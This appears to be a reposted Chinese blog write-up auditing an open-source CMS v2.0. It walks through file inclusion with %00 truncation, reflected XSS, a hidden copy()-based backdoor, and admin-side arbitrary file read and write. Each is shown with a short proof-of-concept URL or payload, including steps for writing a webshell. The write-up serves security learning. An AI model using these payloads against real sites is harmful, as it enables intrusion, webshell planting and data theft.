某开源cms v2.0审计

  • A+
所属分类:代码审计

更多全球网络安全资讯尽在邑安全

前言
在CNVD上看到一个CMS存在多种类型的漏洞,对于之前只能审计出SQL注入和XSS的我来说是个比较好的学习案例,于是从网上找到源码,本地搭建审计一波

审计环境

phpstudy(php 5.4.45+Apache+Mysql)
phpstorm + seay代码审计工具
Windows 7 64位

代码审计
个人习惯,安装完成后同样先看/install目录,看逻辑是否合理,有没有可能存在重装漏洞

某开源cms v2.0审计

使用file_exits()检查是否存在/install.lock.php文件,存在则exit退出,不存在重装漏洞。
接下来就从前台开始,先看入口文件index.php

require_once(dirname(__FILE__) . "/core/init.php");
// 预防XSS漏洞
foreach ($_GET as $k => $v) {
$_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
// 预处理搜索时的值,主要是防止sql的注入
if (isset($_GET['q'])) {
//搜索框为空鼠标点击显示15个热搜词
if (isset($_GET['act']) && $_GET['act'] == 'hot') {
if (trim($_GET['q']) == '') {
$sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
$res = $dbm->query($sql);
if (empty($res['error']) && is_array($res['list'])) {
foreach ($res['list'] as $k => $v) {
$res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
}
echo json_encode($res['list']);
exit;
} else {
die();
}
}
}
// 超出长度截取
if (strlen($_GET['q']) > 20) {
$_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
}

if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
if (!preg_match("/^[x{4e00}-x{9fa5}w {0}]+$/u", $_GET['q'])) {
die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
}

文件开始是一些过滤代码,主要做了两个过滤。一个是把GET方式传入的值使用htmlspecialchars进行处理,另一个是使用preg_match匹配正则处理,限制输入只能是下划线,数字,字母,汉字和空格。

前台文件包含
继续往下看,看到seay扫描到的一个漏洞位置

某开源cms v2.0审计

跟进看具体代码

某开源cms v2.0审计

首先通过变量$from_mobile$tpl赋值给$tmp_file构造成php文件名,然后判断文件是否存在,如果存在,则使用require包含该文件。
往上跟踪$from_mobile$tpl的来源,$from_mobile是取一个全局变量的值,而$tpl是通过GET方式传入,没有做其他的限制,那么就可以控制文件名进行包含。

某开源cms v2.0审计

漏洞验证
在网站根目录下,创建一个phpinfo.php文件进行包含

index.php?tpl=../../phpinfo

某开源cms v2.0审计

但是这里限制了后缀是.php,这显然很鸡肋,都是php文件了,直接就能执行了,没必要再去包含了。除非当php版本小于5.3.4且没有开启magic_quotes_gpc时,可以使用%00截断,包含其他类型的文件。这里切换到5.2.17版本测试,可以尝试包含.jpg的文件。

漏洞验证

index.php?tpl=../../phpinfo.jpg%00

某开源cms v2.0审计

%00截断后成功包含,那么如果找到一个能上传图片的点,就能上传图片马,配合文件包含getshell。

反射XSS
第一处
/templates/m/search.php
某开源cms v2.0审计
直接判断参数q是否存在,存在就直接输出,没有做任何过滤,很明显的漏洞

/templates/m/search.php?q="><script>alert('xss')</script>

某开源cms v2.0审计

第二处
/templates/m/inc_head.php
某开源cms v2.0审计
这里同样判断参数q是否存在,存在就直接输出,没有做任何过滤

/templates/m/inc_head.php?q="><script>alert('xss')</script>

由于这两个文件都是模板文件,所以只要包含了这两个文件的地方,都会存在XSS

隐藏后门
/templates/m/content_list.php

某开源cms v2.0审计

传入参数session的md5值为9c224bc6b59179729b15e1dddcbb5c82时,会执行一段copy函数构造的后门代码

实际执行的代码如下

copy(trim($_GET

),$_GET[cms]);

如果将参数url设置为php://input,参数cms设置为shell的文件名,然后POST传入webshell代码,即可在当前目录写入shell文件
漏洞验证

某开源cms v2.0审计

随后访问test.php

某开源cms v2.0审计

后台任意文件读取
/adm/template.php

某开源cms v2.0审计

m__show()函数中,首先判断$page['get']['filename']是否是一个文件,如果是,则调用helper类中的get_contents方法

跟踪一下get_contents()方法

某开源cms v2.0审计

36-39行,使用while语句循环,将整个文件的内容读取到$content中,随后返回
回到template.php,看一下$page['get']['filename']的来源

某开源cms v2.0审计

$page['get']是通过GET方式传入的值,那么GET方式传入filename参数,即可控制文件名进行包含。那么只要调用m__show函数,就能包含任意文件。于是寻找m__show函数被调用的地方。

某开源cms v2.0审计

在43行使用call_user_func调用函数,而$page['get']['m']的值通过GET方式传入,当我们传入m=show时,即可调用m__show函数。
漏洞验证
综合以上两点,可以构造payload如下

/adm/template.php?m=show&filename=../../index.php

某开源cms v2.0审计

成功读取index.php文件的内容

后台任意文件写入
/adm/template.php

某开源cms v2.0审计

92行,当POST中存在content参数时,调用file_put_contents函数写入文件,写入文件名由POST传入filename参数进行控制,写入内容为escape_stripslashes方法处理过后的content参数
跟进escape_stripslashes方法

某开源cms v2.0审计

该方法中判断PHP版本小于5.4.0且gpc开启的情况下,调用stripslashes函数删除反斜杠,否则直接返回字符串
由于本地环境使用的php版本为5.4.45,所以content参数不会做任何处理,直接传入一句话。而filename参数前面会拼接/templates/default/目录,传入../跳转到根目录
漏洞验证
构造数据包在根目录写入shell文件

某开源cms v2.0审计

访问shell.php

某开源cms v2.0审计

总结
这次审计中包含了好几种漏洞类型,有的漏洞是平时比较少审计到的,对个人学习有不小帮助。由于是通过CNVD中的漏洞信息去审计已经存在的漏洞,找出对应的漏洞点,相对于直接挖掘是比较容易的。

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/10453

欢迎收藏并分享朋友圈,让五邑人网络更安全

某开源cms v2.0审计

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):某开源cms v2.0审计

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: